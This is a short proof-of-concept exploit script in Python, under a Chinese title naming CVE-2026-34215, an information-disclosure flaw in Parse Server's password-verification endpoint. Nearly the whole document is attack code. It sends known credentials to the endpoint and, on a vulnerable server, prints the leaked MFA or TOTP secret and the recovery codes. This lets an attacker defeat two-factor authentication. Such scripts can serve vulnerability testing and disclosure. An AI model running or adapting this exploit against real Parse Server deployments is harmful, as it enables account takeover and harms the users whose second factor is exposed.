CVE-2026-34215 Parse Server验证端点信息泄露漏洞

import requests # Target configuration target_url = "https://example.com/parse/verifyPassword" username = "[email protected]" password = "user_known_password" # Payload for the request payload = { "username": username, "password": password } try: # Send POST request to verify password response = requests.post(target_url, json=payload) if response.status_code == 200: data = response.json() # Check if MFA secrets are exposed in the response # The vulnerability is that these fields are returned when they shouldn't be if 'mfaSecret' in data or 'totpSecret' in data: print("[+] Vulnerability confirmed!") print(f"[+] Extracted MFA Secret: {data.get('mfaSecret', data.get('totpSecret'))}") print("[+] Recovery Codes: {}".format(data.get('recoveryCodes'))) else: print("[-] MFA Secret not found in response. System might be patched.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")